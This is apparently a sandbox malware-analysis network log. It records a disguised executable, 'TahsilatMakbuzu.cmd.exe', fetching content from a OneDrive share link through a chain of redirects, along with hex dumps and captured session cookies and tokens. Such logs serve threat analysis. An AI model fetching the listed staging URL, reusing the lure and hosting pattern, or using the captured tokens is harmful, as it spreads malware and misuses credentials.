2024-07-04 18:17:55 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:17:55 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49835	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:56 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:56 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: SA2PPF3F45347B8 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: f2y1YQKLWk2LWmKwRWGF4g.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: E2A0D9D951744855B998039F063814AE Ref B: EWR30EDGE0321 Ref C: 2024-07-04T18:17:56Z Date: Thu, 04 Jul 2024 18:17:56 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49838	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:57 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:57 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL6PPF0FF84488F Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: DXDrKxLRwUG/NcMbveypIA.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 123BD2BB6CF24A54BD095D9FB537DA3A Ref B: EWR30EDGE0706 Ref C: 2024-07-04T18:17:57Z Date: Thu, 04 Jul 2024 18:17:57 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49839	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:58 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:59 UTC	2220	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:8Kg7olWc3Ig=:MPlWAQLAWfJiNArIepwtMJarjCAFtbPrMuhRUyNFLFA=:F; domain=.live.com; path=/ Set-Cookie: xid=fd4e766d-d1e7-4115-a056-66d167c1f135&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:58 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODc4LCJuYmYiOjE3MjAxMTcwNzgsImdpdmVuX25hbWUiOiI1OSIsImZhbWlseV9uYW1lIjoiU2FsbW9uIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDljZGJjNTY1OTVjNDUzMWViOTI3ZjQ1NTQwMDA0YjMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA3OH0.MQ465LIuPJcXevAGGIMp6Mic20y3z37vcX8rF8RaJx485_PS3SJLLyhV0sW9Cx7QNJyA03K4KUodQ3j3bHXPFKM8Pgk_6xjzkwlhFtItp2dLa7xCB3s_DsanM1aet_KpA09fjLCwHLXGFVY7PezMKOW-iVhKrIyos495id2am4iJ4uPcpGz2HwWOTYaRctWiyKgnDG4qfzmcwTpjMMRsxLK1E_xQHOJFpzWJmlkEPSkSAxK_u171cMV5bW5faPyZ-ajFspTnyk-5mCpyRnxIDhWCOPNcZGSbT6lBMERi5AgW-cLCTlX6vUeVRmG1SfbKmTl256lm3i2MKmgJsCnz4Q; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:59 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-lzc2z X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 910B8850621D4C45BA80720C3FF5BE4A Ref B: BN3EDGE0821 Ref C: 2024-07-04T18:17:58Z Date: Thu, 04 Jul 2024 18:17:59 GMT Connection: close
2024-07-04 18:17:59 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49840	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:59 UTC	1280	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODc4LCJuYmYiOjE3MjAxMTcwNzgsImdpdmVuX25hbWUiOiI1OSIsImZhbWlseV9uYW1lIjoiU2FsbW9uIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDljZGJjNTY1OTVjNDUzMWViOTI3ZjQ1NTQwMDA0YjMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA3OH0.MQ465LIuPJcXevAGGIMp6Mic20y3z37vcX8rF8RaJx485_PS3SJLLyhV0sW9Cx7QNJyA03K4KUodQ3j3bHXPFKM8Pgk_6xjzkwlhFtItp2dLa7xCB3s_DsanM1aet_KpA09fjLCwHLXGFVY7PezMKOW-iVhKrIyos495id2am4iJ4uPcpGz2HwWOTYaRctWiyKgnDG4qfzmcwTpjMMRsxLK1E_xQHOJFpzWJmlkEPSkSAxK_u171cMV5bW5faPyZ-ajFspTnyk-5mCpyRnxIDhWCOPNcZGSbT6lBMERi5AgW-cLCTlX6vUeVRmG1SfbKmTl256lm3i2MKmgJsCnz4Q; E=P:8Kg7olWc3Ig=:MPlWAQLAWfJiNArIepwtMJarjCAFtbPrMuhRUyNFLFA=:F; xid=fd4e766d-d1e7-4115-a056-66d167c1f [TRUNCATED]
2024-07-04 18:18:00 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,22271,0,52555,4 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 481239a1-007e-5000-e961-a772da7c9099 request-id: 481239a1-007e-5000-e961-a772da7c9099 MS-CV: oTkSSH4AAFDpYady2nyQmQ.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 32 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 12E5E29355E049C3A2A0B2C10202E9D9 Ref B: BN3EDGE1016 Ref C: 2024-07-04T18:18:00Z Date: Thu, 04 Jul 2024 18:17:59 GMT Connection: close
2024-07-04 18:18:00 UTC	3032	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:00 UTC	8192	IN	Data Raw: 30 35 30 39 2c 2d 31 33 36 30 30 37 33 36 39 39 2c 2d 32 30 31 34 33 36 36 39 38 33 2c 2d 31 34 37 31 31 39 34 33 2c 31 39 33 36 34 34 35 34 33 36 2c 31 32 32 36 30 33 34 31 30 32 2c 31 38 30 35 38 34 39 31 39 31 2c 2d 35 30 35 33 32 39 36 38 2c 32 36 31 33 32 33 35 34 32 2c 31 35 32 32 34 34 34 34 38 30 2c 2d 31 39 34 39 32 30 32 31 31 35 2c 2d 37 38 38 30 32 34 34 32 34 2c 38 38 37 31 31 39 31 2c 31 38 39 39 31 37 31 39 33 37 2c 2d 31 37 35 39 37 35 38 39 38 34 2c 38 30 38 39 31 31 38 34 33 2c 2d 31 30 35 35 35 35 32 38 39 36 2c 39 39 38 35 30 38 36 35 33 2c 2d 39 33 39 34 39 38 39 34 34 2c 32 36 31 31 33 36 34 33 38 2c 36 35 35 36 32 32 33 30 37 2c 2d 31 39 35 36 35 37 37 31 36 34 2c 36 30 34 35 34 30 39 33 30 2c 38 37 34 39 30 38 32 2c 2d 39 37 34 31 Data Ascii: 0509,-1360073699,-2014366983,-14711943,1936445436,1226034102,1805849191,-50532968,261323542,1522444480,-1949202115,-788024424,8871191,1899171937,-1759758984,808911843,-1055552896,998508653,-939498944,261136438,655622307,-1956577164,604540930,8749082,-9741
2024-07-04 18:18:00 UTC	3355	IN	Data Raw: 37 43 45 22 3a 74 72 75 65 2c 22 31 44 33 32 34 34 39 38 2d 37 36 37 33 2d 34 34 44 43 2d 41 35 43 39 2d 30 39 43 39 39 44 44 33 30 33 41 30 22 3a 74 72 75 65 2c 22 30 35 42 37 35 32 41 36 2d 30 34 44 39 2d 34 45 44 36 2d 42 45 31 36 2d 43 34 38 44 35 34 36 38 43 30 34 31 22 3a 74 72 75 65 2c 22 34 30 35 31 42 42 37 43 2d 33 34 39 32 2d 30 39 36 32 2d 39 37 37 35 2d 42 45 46 42 32 30 42 42 45 36 46 31 22 3a 74 72 75 65 2c 22 45 35 36 38 32 46 37 39 2d 34 32 44 39 2d 34 45 33 33 2d 38 39 43 43 2d 38 39 39 32 34 38 42 38 46 34 46 39 22 3a 74 72 75 65 2c 22 41 34 38 32 39 31 42 43 2d 37 44 46 39 2d 34 34 32 39 2d 38 38 45 30 2d 30 38 44 30 31 42 43 37 42 45 34 38 22 3a 74 72 75 65 2c 22 37 39 30 34 33 34 37 37 2d 36 31 38 35 2d 34 41 45 32 2d 42 34 35 46 2d Data Ascii: 7CE":true,"1D324498-7673-44DC-A5C9-09C99DD303A0":true,"05B752A6-04D9-4ED6-BE16-C48D5468C041":true,"4051BB7C-3492-0962-9775-BEFB20BBE6F1":true,"E5682F79-42D9-4E33-89CC-899248B8F4F9":true,"A48291BC-7DF9-4429-88E0-08D01BC7BE48":true,"79043477-6185-4AE2-B45F-
2024-07-04 18:18:00 UTC	8192	IN	Data Raw: 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 Data Ascii: 308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26783
2024-07-04 18:18:00 UTC	8192	IN	Data Raw: 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c Data Ascii: -D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,
2024-07-04 18:18:00 UTC	8192	IN	Data Raw: 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 Data Ascii: 13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A
2024-07-04 18:18:00 UTC	8192	IN	Data Raw: 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 Data Ascii: E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4
2024-07-04 18:18:00 UTC	8192	IN	Data Raw: 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 Data Ascii: 55B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542
2024-07-04 18:18:00 UTC	8192	IN	Data Raw: 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 Data Ascii: ue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A
